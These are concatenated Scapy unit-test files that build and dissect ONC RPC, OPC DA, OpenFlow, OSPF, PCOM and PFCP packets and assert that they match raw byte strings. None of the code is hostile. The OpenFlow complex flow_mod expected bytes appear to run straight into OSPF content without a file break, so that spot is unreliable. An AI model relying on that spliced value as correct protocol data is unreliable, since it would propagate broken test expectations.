Object_Name() Auth_Unix() Auth_RPCSEC_GSS() Verifier_RPCSEC_GSS() = Create ONC RPC Packets RM_Header() RPC() RPC_Call() RPC_Reply() + Test Layer bindings = RPC Message type pkt = RPC()/RPC_Call() assert pkt.mtype==0 pkt = RPC()/RPC_Reply() assert pkt.mtype==1 + Test Built Packets vs Raw Strings = Test Built Packets vs Raw Strings pkt = RM_Header( rm=0x80000000 ) assert bytes(pkt) == b'\x80\x00\x00\x00' pkt = RPC( xid=0xabcdef12, mtype='CALL' ) assert bytes(pkt) == b'\xab\xcd\xef\x12\x00\x00\x00\x00' pkt = RPC_Call( version=2, program=100005, pversion=3, procedure=1, aflavor='AUTH_UNIX', a_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ), vflavor=1, v_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ) ) assert bytes(pkt) == b'\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00 \xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00' pkt = RPC_Call( version=2, program=100021, pversion=4, procedure=20, aflavor='RPCSEC_GSS', a_rpcsec_gss=Auth_RPCSEC_GSS( gss_version=1, gss_procedure=0, gss_seq_num=10, gss_service=1, gss_context=Object_Name( length=4, _name='AAAA', fill='' ), ), vflavor=6, v_rpcsec_gss=Verifier_RPCSEC_GSS(b"\x00\x00\x00\x04\x41\x41\x41\x41") ) assert bytes(pkt) == b'\x00\x00\x00\x02\x00\x01\x86\xb5\x00\x00\x00\x04\x00\x00\x00\x14\x00\x00\x00\x06\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00\x00\x04\x41\x41\x41\x41\x00\x00\x00\x06\x00\x00\x00\x04\x41\x41\x41\x41' pkt = RPC_Reply( reply_stat=1, flavor=1, a_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ), length=32, accept_stat=1 ) assert bytes(pkt) == b'\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x01' ================================================ FILE: test/contrib/opc_da.uts ================================================ % Scapy OPC DA layer tests + Test Request Packet = OpcDaRequest opcdaRequestPacket_Dissect = hex_bytes(b'050000830000000000640000000000150000003c000600050000c41d0a9c0000d7028c761299f7bf00000000') elem1 = raw(OpcDaMessage(opcdaRequestPacket_Dissect)) opcdaRequestPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \ pfc_flags = 131,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderN(fragLength=100,authLength=0,callID=21)\ / OpcDaRequest(allocHint=60,contextId=6,opNum=5,\ uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',stubData=RequestStubData(\ versionMajor=0,versionMinor=0,stubdata=''))) elem2 = raw(opcdaRequestPacket_Build) assert elem1 == elem2 = OpcDaRequestLE opcdaRequestLEPacket_Dissect = hex_bytes(b'050000831000000064000000150000003c000000060005001dc400009c0a0000d7028c761299f7bf000000000000000000000000512d4e34ab431449a2cf7784b21b3ea1') elem1 = raw(OpcDaMessage(opcdaRequestLEPacket_Dissect)) opcdaRequestLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \ pfc_flags = 131,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderNLE(fragLength=100,authLength=0,callID=21)\ / OpcDaRequestLE (allocHint=60,contextId=6,opNum=5,\ uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',\ stubData=RequestStubDataLE(versionMajor=0,versionMinor=0,\ stubdata=b'\x00\x00\x00\x00\x00\x00\x00\x00Q-N4\xabC\x14I\xa2\xcfw\x84\xb2\x1b>\xa1'))) elem2 = raw(opcdaRequestLEPacket_Build) assert elem1 == elem2 + Test Ping Packet = OpcDaPing opcdaPingPacket_Dissect = hex_bytes(b'0500010310000000640000001500000000') elem1 = raw(OpcDaMessage(opcdaPingPacket_Dissect)) opcdaPingPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=1, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderNLE(fragLength=100,authLength=0,callID=21)\ / OpcDaPing()) / '\x00' elem2 = raw(opcdaPingPacket_Build) assert elem1 == elem2 + Test Response Packets = OpcDaResponse opcDaResponsePacket_Dissect = hex_bytes(b'050002030000000000d4000000000015000000bc00060000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030') elem1 = raw(OpcDaMessage(opcDaResponsePacket_Dissect)) opcDaResponsePacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \ pfc_flags = 3,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderN(fragLength=212,authLength=0,callID=21)\ / OpcDaResponse(allocHint=188,contextId=6,cancelCount=0,reserved=0,\ stubData=b'0'*(212-32))) elem2 = raw(opcDaResponsePacket_Build) assert elem1 == elem2 = OpcDaResponseLE opcDaResponseLEPacket_Dissect = hex_bytes(b'0500020310000000d400000015000000bc00000006000000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030') elem1 = raw(OpcDaMessage(opcDaResponseLEPacket_Dissect)) opcDaResponseLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderNLE(fragLength=212,authLength=0,callID=21)\ / OpcDaResponseLE(allocHint=188,contextId=6,cancelCount=0,reserved=0,\ stubData=b'0'*(212-32))) elem2 = raw(opcDaResponseLEPacket_Build) assert elem1 == elem2 # + Test Fault Packet # No example yet # OpcDaFault # OpcDaFaultLE # + Test Working # No example yet # OpcDaWorking # + Test No Call Packet # No example yet # OpcDaNoCall # OpcDaNoCallLE # + Test Reject Packet # No example yet # OpcDaReject # OpcDaRejectLE # + Test Ack Packet # No example yet # OpcDaAck # + Test Cl_cancel Packet # No example yet # OpcDaCl_cancel # OpcDaCl_cancelLE # + Test Fack Packet # No example yet # OpcDaFack # + Test Cancel ack Packet # No example yet # OpcDaCancel_ack # OpcDaCancel_ackLE # + Test Bind Packet # OpcDaBind # OpcDaBindLE # + Test Bind ack Packet # OpcDaBind_ack # + Test Bind no ack Packet # No example yet # OpcDaBind_nack + Test Alter_context = OpcDaAlter_context opcDaAlter_contextPacket_Dissect = hex_bytes(b'05000e0300000000004800000000001716d016d00008294500000001070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000') elem1 = raw(OpcDaMessage(opcDaAlter_contextPacket_Dissect)) ocDaAlter_contextPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \ pfc_flags = 3,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderN(fragLength=72,authLength=0,callID=23)\ / OpcDaAlter_context(maxXmitFrag=5840,maxRecvtFrag=5840,\ assocGroupId=534853)) \ / '\x00\x00\x00\x01\x07\x00\x01\x00\x01\x01\x00\x00\x00\x00\x00\x00\xc0'\ '\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9'\ '\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00' elem2 = raw(ocDaAlter_contextPacket_Build) = OpcDaAlter_contextLE opcDaAlter_contextLEPacket_Dissect = hex_bytes(b'05000e03100000004800000017000000d016d0164529080001000000070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000') elem1 = raw(OpcDaMessage(opcDaAlter_contextLEPacket_Dissect)) ocDaAlter_contextLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ res=0)/ OpcDaHeaderNLE(fragLength=72,authLength=0,callID=23)\ / OpcDaAlter_contextLE(maxXmitFrag=5840,maxRecvtFrag=5840,\ assocGroupId=534853)) \ / '\x01\x00\x00\x00\x07\x00\x01\x00\x01\x01\x00\x00\x00\x00\x00\x00\xc0'\ '\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9'\ '\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00' elem2 = raw(ocDaAlter_contextLEPacket_Build) + Test Alter_context_Resp = OpcDaAlter_Context_Resp = OpcDaAlter_Context_RespLE # + Test Shutdown Packet # No example yet # OpcDaShutdown # + Test Co_cancel Packet # No example yet # OpcDaCo_cancel # OpcDaCo_cancelLE # + Test Orphaned Packet # No example yet # OpcDaOrphaned ================================================ FILE: test/contrib/openflow.uts ================================================ % Tests for OpenFlow v1.0 with Scapy + Preparation = Be sure we have loaded OpenFlow v1 load_contrib("openflow") + Usual OFv1.0 messages = OFPTHello(), simple hello message ofm = OFPTHello() raw(ofm) == b'\x01\x00\x00\x08\x00\x00\x00\x00' = OFPTEchoRequest(), echo request ofm = OFPTEchoRequest() raw(ofm) == b'\x01\x02\x00\x08\x00\x00\x00\x00' = OFPMatch(), check wildcard completion ofm = OFPMatch(in_port=1, nw_tos=8) ofm = OFPMatch(raw(ofm)) assert ofm.wildcards1 == 0x1 ofm.wildcards2 == 0xee = OpenFlow(), generic method test with OFPTEchoRequest() ofm = OFPTEchoRequest() s = raw(ofm) isinstance(OpenFlow(s), OFPTEchoRequest) = OFPTFlowMod(), check codes and defaults values ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG') assert ofm.cmd == 3 assert ofm.buffer_id == 0xffffffff assert ofm.out_port == 0xfffd ofm.flags == 6 + Complex OFv1.0 messages = OFPTFlowMod(), complex flow_mod mtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8) act1 = OFPATSetNwSrc(nw_addr='192.168.42.1') act2 = OFPATOutput(port='CONTROLLER') act3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64') ofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3]) raw(ofm) s = b'\x01\x0e\x00h\x00\x00\x00\x00\x00?\xc8\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x08\x00\x00\x00\x00\x00\xc0\xa8*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\xff\xff\xff\xff\xff\xff\x00\x02\x00\x06\x00\x08\xc0\xa8*\x01\x00\x00\x00\x08\xff\xfd\xff\xff\x00\x04\x00\x10\x1a\xd5\xcbN\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\n\x12\x01\x00\x00\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01\xff\xf6\x00\x03\x00\x01\x00\x04\x00\x00\x00\x01' = OSPF - answers a = OSPF_Hdr(area="1.1.1.1")/OSPF_LSAck(lsaheaders=[OSPF_LSA_Hdr(type=1, seq=0x80000003)]) b = OSPF_Hdr(area="1.1.1.1")/OSPF_LSUpd(lsalist=[OSPF_Router_LSA(type=1, seq=0x80000003)]) assert a.answers(b) a = OSPF_Hdr(raw(a)) b = OSPF_Hdr(raw(b)) assert a.answers(b) = OSPFv3 - build pkt = Ether(dst="01:00:5e:00:00:05", src="ca:11:09:b3:00:1c")/IPv6(dst="::1", src="fe80::160c:12aa:fe7e:cd28")/OSPFv3_Hdr(src="75.1.3.1")/\ OSPFv3_Hello(options=0x12, router="10.75.0.254", backup="10.75.0.1", neighbors=["75.1.0.1"]) assert raw(pkt) == b'\x01\x00^\x00\x00\x05\xca\x11\t\xb3\x00\x1c\x86\xdd`\x00\x00\x00\x00(Y@\xfe\x80\x00\x00\x00\x00\x00\x00\x16\x0c\x12\xaa\xfe~\xcd(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x01\x00(K\x01\x03\x01\x00\x00\x00\x00Y\x98\x00\x00\x00\x00\x00\x00\x01\x00\x00\x12\x00\n\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01' = OSPFv2 Opaque lsa data = b'\x01\x00^\x00\x00\x05\x00\x90\x92\x9d\x94\x01\x08\x00E\xc0\x00\xb4?\x99\x00\x00\x01Y\xc6\x91\xd2\x00\x00\x01\xe0\x00\x00\x05\x02\x04\x00\xa0\x11\x03\x03\x03\x00\x00\x00d9\x9f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01 \n\x01\x00\x00\x00\x11\x03\x03\x03\x80\x00\x00\x1f\xab\xd9\x00\x84\x00\x01\x00\x04\x11\x03\x03\x03\x00\x02\x00d\x00\x01\x00\x01\x02\x00\x00\x00\x00\x02\x00\x04\xd2\x00\x00\x02\x00\x03\x00\x04\xd2\x00\x00\x01\x00\x04\x00\x04\xd2\x00\x00\x02\x00\x05\x00\x04\x00\x00\x03\xe8\x00\x06\x00\x04I\x98\x96\x80\x00\x07\x00\x04I\x98\x96\x80\x00\x08\x00 I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80\x00\t\x00\x04\x00\x00\x00\x00\x92\xe6\xb6:' p = Ether(data) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].age == 1) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].type == 10) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].id == '1.0.0.0') assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].adrouter == '17.3.3.3') assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].seq == 0x8000001f) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].chksum == 0xabd9) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].len == 132) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaqueid() == 0) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaquetype() == 1) opaque_data=b'\x00\x01\x00\x04\x11\x03\x03\x03\x00\x02\x00d\x00\x01\x00\x01\x02\x00\x00\x00\x00\x02\x00\x04\xd2\x00\x00\x02\x00\x03\x00\x04\xd2\x00\x00\x01\x00\x04\x00\x04\xd2\x00\x00\x02\x00\x05\x00\x04\x00\x00\x03\xe8\x00\x06\x00\x04I\x98\x96\x80\x00\x07\x00\x04I\x98\x96\x80\x00\x08\x00 I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80\x00\t\x00\x04\x00\x00\x00\x00' p = OSPF_Link_Scope_Opaque_LSA(seq=0x80000003,data=opaque_data) assert (p.type == 9) assert (p.seq == 0x80000003) assert (len(p) == 132) p = OSPF_Area_Scope_Opaque_LSA(seq=0x80000004,data=opaque_data) assert (p.type == 10) assert (p.seq == 0x80000004) assert (len(p) == 132) p = OSPF_AS_Scope_Opaque_LSA(seq=0x80000005,data=opaque_data) assert (p.type == 11) assert (p.seq == 0x80000005) assert (len(p) == 132) = OSPF - build/dissect without header OSPF_DBDesc().show2() OSPF_LSReq().show2() OSPF_LSUpd().show2() OSPF_LSAck().show2() ================================================ FILE: test/contrib/pcom.uts ================================================ % PCOM tests + Syntax check = Import the pcom layer from scapy.contrib.scada.pcom import * + Test PCOM/TCP = PCOM/TCP Default values raw(PCOMRequest())[2:] == b'\x65\x00\x00\x00' raw(PCOMResponse())[2:] == b'\x65\x00\x00\x00' = PCOM/TCP Len r = b'\x65\x00\x04\x00\x00\x00\x00\x00' raw(PCOMRequest() / b'\x00\x00\x00\x00')[2:] == r r = b'\x65\x00\x04\x00\x00\x00\x00\x00' raw(PCOMResponse() / b'\x00\x00\x00\x00')[2:] == r = PCOM/TCP Guess Payload Class assert isinstance(PCOMRequest(b'\x00\x00\x65\x00\x01\x00\x00\x00\x00\x00\x00\x00').payload, PCOMAsciiRequest) assert isinstance(PCOMResponse(b'\x00\x00\x65\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00').payload, PCOMAsciiResponse) assert isinstance(PCOMRequest(b'\x00\x00\x66\x00\x01\x00\x00\x00' + b'\x00' * 25).payload, PCOMBinaryRequest) assert isinstance(PCOMResponse(b'\x00\x00\x66\x00\x01\x00\x00\x00' + b'\x00' * 25).payload, PCOMBinaryResponse) + Test PCOM/Ascii = PCOM/ASCII Default values r = b'\x65\x00\x06\x00\x2f\x30\x30\x36\x30\x0d' raw(PCOMRequest() / PCOMAsciiRequest())[2:] == r r = b'\x65\x00\x07\x00\x2f\x41\x30\x30\x36\x30\x0d' raw(PCOMResponse() / PCOMAsciiResponse())[2:] == r = PCOM/ASCII Checksum r = b'\x65\x00\x08\x00\x2f\x30\x30\x49\x44\x45\x44\x0d' raw(PCOMRequest() / PCOMAsciiRequest(unitId='00',command='ID'))[2:] == r r = b'\x65\x00\x09\x00\x2f\x41\x30\x30\x49\x44\x45\x44\x0d' raw(PCOMResponse() / PCOMAsciiResponse(unitId='00',command='ID'))[2:] == r = PCOM/ASCII Known Codes f = PCOMAsciiCommandField('command', '', length_from= None) assert f.i2repr(None, 'CCS') == 'Send Stop Command \'CCS\'' assert f.i2repr(None, 'CC') == 'Reply of Admin Commands (CC*) \'CC\'' + Test PCOM/Binary = PCOM/Binary Default values r = b'\x66\x00\x1b\x00\x2f\x5f\x4f\x50\x4c\x43\x00\xfe\x01\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x45\xfd\x00\x00\x5c' raw(PCOMRequest(mode=0x66) / PCOMBinaryRequest())[2:] == r r = b'\x66\x00\x1b\x00\x2f\x5f\x4f\x50\x4c\x43\xfe\x00\x01\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x45\xfd\x00\x00\x5c' raw(PCOMResponse(mode=0x66) / PCOMBinaryResponse())[2:] == r = PCOM/Binary Checksum data = b'\x01\x00\x01\x01' r = b'\x66\x00\x1f\x00\x2f\x5f\x4f\x50\x4c\x43\x00\xfe\x01\x01\x00\x00\x4d\x00\ \x00\x00\x00\x00\x00\x01\x04\x00\xf2\xfc\x01\x00\x01\x01\xfd\xff\x5c' raw(PCOMRequest(mode=0x66) / PCOMBinaryRequest(command=0x4d,reserved3=0x01, commandSpecific='\x00\x00\x00\x00\x00\x01', len=4, data= data))[2:] == r r = b'\x66\x00\x1f\x00\x2f\x5f\x4f\x50\x4c\x43\xfe\x00\x01\x01\x00\x00\x4d\x00\ \x00\x00\x00\x00\x00\x01\x04\x00\xf2\xfc\x01\x00\x01\x01\xfd\xff\x5c' raw(PCOMResponse(mode=0x66) / PCOMBinaryResponse(command=0x4d,reserved3=0x01, commandSpecific='\x00\x00\x00\x00\x00\x01', len=4, data= data))[2:] == r = PCOM/Binary Known Codes f = PCOMBinaryCommandField('command', None) assert f.i2repr(None, 0x4d) == 'Read Operands Request - 0x4d' ================================================ FILE: test/contrib/pfcp.uts ================================================ % PFCP tests # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('pfcp')" -t test/contrib/pfcp.uts + Build packets & dissect = Verify IEs import scapy.contrib.pfcp as pfcp_mod skip_IEs = [ IE_Base, IE_Compound ] for name, cls in pfcp_mod.__dict__.items(): if name.startswith("IE_") and type(cls) == Packet_metaclass and cls not in skip_IEs: print("testing %s" % name) pkt = cls() bs = bytes(pkt) restored = cls(bs) assert bytes(restored) == bs # TODO: also test packet field equality = Verify PCAPs ~ pcaps # the following can be useful while adding more IE types # (e.g. updating for a newer version of the spec) def command(pkt): f = [] for fn, fv in sorted(pkt.fields.items(), key=lambda item: item[0]): if fn in ("length", "message_type"): continue if fn == "ietype" and not isinstance(pkt, IE_EnterpriseSpecific) and \ not isinstance(pkt, IE_NotImplemented): continue if fn.startswith("num_") or fn.endswith("_length"): continue if fv is None: continue fld = pkt.get_field(fn) if isinstance(fld, ConditionalField) and not fld._evalcond(pkt): continue # if fv == fld.default: # continue if isinstance(fv, (list, dict, set)) and len(fv) == 0: continue if isinstance(fv, Packet): fv = command(fv) elif fld.islist and fld.holds_packets and isinstance(fv, list): fv = "[%s]" % ",".join(map(command, fv)) elif isinstance(fld, FlagsField): fv = int(fv) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (pkt.__class__.__name__, ", ".join(f)) if not isinstance(pkt.payload, NoPayload): pc = command(pkt.payload) if pc: c += "/" + pc return c broken_ies = set([]) broken_ie_types = set([ cls.ie_type for cls in broken_ies ]) ignore = set([]) def find_raw_or_not_implemented(pkt, prefix=""): if prefix in ignore: return False, False if hasattr(pkt, "IE_list"): prev = None found_any = False for n, ie in enumerate(pkt.IE_list, 1): if type(ie) in broken_ies: return False, False name = "%s-%d-%s" % (prefix, n, type(ie).__name__) found, leaf = find_raw_or_not_implemented(ie, prefix=name) if found: found_any = True if found and leaf: print("gotcha: %s %r" % (prefix, ie)) bs = b"" if prev is not None: bs = bytes(prev) bs += bytes(ie) if prev is not None: prev.show2() ie.show2() print("%s -- bad val: %s" % (prefix, bytes_hex(bs).decode())) if len(bs) > 4: l = bs[2] * 256 + bs[3] if len(bs) >= l + 4: print("bad val (length-limited): %s" % bytes_hex(bs[:l + 4]).decode()) print("bad val (short): %s" % bytes_hex(bytes(ie)).decode()) prev = ie return found_any, False if isinstance(pkt, Raw): bs = bytes(pkt) if len(bs) > 4: ie_type = bs[0] * 256 + bs[1] if ie_type in broken_ie_types: return False, True return True, True if isinstance(pkt, Padding) or isinstance(pkt, IE_NotImplemented): return True, True return False, True def find_mismatching_command(pkt, prefix=""): c = command(pkt) if hasattr(pkt, "IE_list"): for n, ie in enumerate(pkt.IE_list, 1): name = "%s-%d-%s" % (prefix, n, type(ie).__name__) find_mismatching_command(ie, prefix=name) if bytes(eval(c)) != bytes(pkt): print(prefix) print("ORIG: %s" % bytes_hex(bytes(pkt))) print("EVAL: %s" % bytes_hex(bytes(eval(c)))) raise AssertionError("bad command: %s" % c) for n, pkt in enumerate(rdpcap("test/pcaps/pfcp.pcap"), 1): if PFCP in pkt: # if IE_DLBufferingSuggestedPacketCount in pkt: # continue pkt0 = pkt[PFCP] if IE_NotImplemented in pkt0 or Raw in pkt0 or IE_NotImplemented in pkt0 or Padding in pkt0: found, leaf = find_raw_or_not_implemented(pkt, prefix=str(n)) if not found: # ignored continue pkt0.show2() raise AssertionError("IE_NotImplemented / Raw / Padding detected") bs = bytes(pkt0) pkt1 = PFCP(bs) # TODO: diff show2() result c0 = command(pkt0) c1 = command(pkt1) pkt2 = eval(c1) c2 = command(pkt2) if bytes(pkt2) != bs: find_mismatching_command(pkt0, prefix=str(n)) print(bytes_hex(bytes(pkt2))) print(bytes_hex(bs)) raise AssertionError("bytes(pkt2) != bs") if bs != pkt0.original: print(bytes_hex(bs)) print(bytes_hex(pkt0.original)) raise AssertionError("bs != pkt0.original") if bytes(pkt1) != bs: print(bytes_hex(bytes(pkt1))) print(bytes_hex(bs)) raise AssertionError("bytes(pkt1) != bs") if c0 != c1: print("COMMAND MISMATCH:\n----\n%s\n----\n%s\n\n" % (c0, c1)) pkt0.show2() pkt1.show2() print(bytes_hex(bytes(pkt0))) print("packet index: %d\n" % n) raise AssertionError("c0 != c1") if c0 != c2: print("EVAL COMMAND MISMATCH:\n----\n%s\n----\n%s\n\n" % (c0, c2)) pkt0.show2() pkt2.show2() print(bytes_hex(bytes(pkt0))) print("packet index: %d\n" % n) raise AssertionError("c0 != c2") = Build and dissect PFCP Association Setup Request pfcpASReqBytes = hex_bytes("200500160000010000600004e1a47d08003c0006020465726777") pfcpASReq = PFCP(version=1, S=0, seq=1) / \ PFCPAssociationSetupRequest(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785653512), IE_NodeId(id_type="FQDN", id="ergw") ]) # print("%r" % bytes(pfcpASReq)) # print("%r" % pfcpASReqBytes) assert bytes(pfcpASReq) == pfcpASReqBytes pfcpASReq = PFCP(pfcpASReqBytes) assert pfcpASReq.version == 1 assert pfcpASReq.MP == 0 assert pfcpASReq.S == 0 assert pfcpASReq.message_type == 5 assert pfcpASReq.length == 22 ies = pfcpASReq[PFCPAssociationSetupRequest].IE_list assert isinstance(ies[0], IE_RecoveryTimeStamp) assert ies[0].ietype == 96 assert ies[0].length == 4 assert ies[0].timestamp == 3785653512 assert isinstance(ies[1], IE_NodeId) assert ies[1].ietype == 60 assert ies[1].length == 6 assert ies[1].id_type == 2 assert ies[1].id == b"ergw" = Build and dissect PFCP Association Setup Response pfcpASRespBytes = hex_bytes("2006008c00000100001300010100600004e1a47af9002b00020001007400092980ac1201020263708002006448f9767070207631392e30382e312d3339377e673465333431343066612d6469727479206275696c7420627920726f6f74206f6e206275696c646b697473616e64626f7820617420576564204465632031312031353a30323a3535205554432032303139") pfcpASResp = PFCP(version=1, S=0, seq=1) / \ PFCPAssociationSetupResponse(IE_list=[ IE_Cause(cause="Request accepted"), IE_RecoveryTimeStamp(timestamp=3785652985), IE_UPFunctionFeatures( TREU=0, HEEU=0, PFDM=0, FTUP=0, TRST=0, DLBD=0, DDND=0, BUCP=0, spare=0, PFDE=0, FRRT=0, TRACE=0, QUOAC=0, UDBC=0, PDIU=0, EMPU=1), IE_UserPlaneIPResourceInformation( ASSOSI=0, ASSONI=1, TEIDRI=2, V6=0, V4=1, teid_range=0x80, ipv4="172.18.1.2", network_instance="cp"), IE_EnterpriseSpecific( ietype=32770, enterprise_id=18681, data="vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019") ]) pfcpASResp.show2() assert bytes(pfcpASResp) == pfcpASRespBytes pfcpASResp = PFCP(pfcpASRespBytes) assert pfcpASResp.version == 1 assert pfcpASResp.MP == 0 assert pfcpASResp.S == 0 assert pfcpASResp.message_type == 6 assert pfcpASResp.length == 140 ies = pfcpASResp[PFCPAssociationSetupResponse].IE_list assert isinstance(ies[0], IE_Cause) assert ies[0].ietype == 19 assert ies[0].length == 1 assert ies[0].cause == 1 assert isinstance(ies[1], IE_RecoveryTimeStamp) assert ies[1].ietype == 96 assert ies[1].length == 4 assert ies[1].timestamp == 3785652985 assert isinstance(ies[2], IE_UPFunctionFeatures) assert ies[2].ietype == 43 assert ies[2].length == 2 assert ies[2].TREU == 0 assert ies[2].HEEU == 0 assert ies[2].PFDM == 0 assert ies[2].FTUP == 0 assert ies[2].TRST == 0 assert ies[2].DLBD == 0 assert ies[2].DDND == 0 assert ies[2].BUCP == 0 assert ies[2].spare == 0 assert ies[2].PFDE == 0 assert ies[2].FRRT == 0 assert ies[2].TRACE == 0 assert ies[2].QUOAC == 0 assert ies[2].UDBC == 0 assert ies[2].PDIU == 0 assert ies[2].EMPU == 1 assert isinstance(ies[3], IE_UserPlaneIPResourceInformation) assert ies[3].ASSOSI == 0 assert ies[3].ASSONI == 1 assert ies[3].TEIDRI == 2 assert ies[3].V6 == 0 assert ies[3].V4 == 1 assert ies[3].teid_range == 0x80 assert ies[3].ipv4 == "172.18.1.2" assert ies[3].network_instance == b"cp" assert isinstance(ies[4], IE_EnterpriseSpecific) assert ies[4].ietype == 32770 assert ies[4].enterprise_id == 18681 assert ies[4].data == b"vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019" assert pfcpASResp.answers(pfcpASReq) # = Build and dissect PFCP Session Establishment Request pfcpSEReq1Bytes = 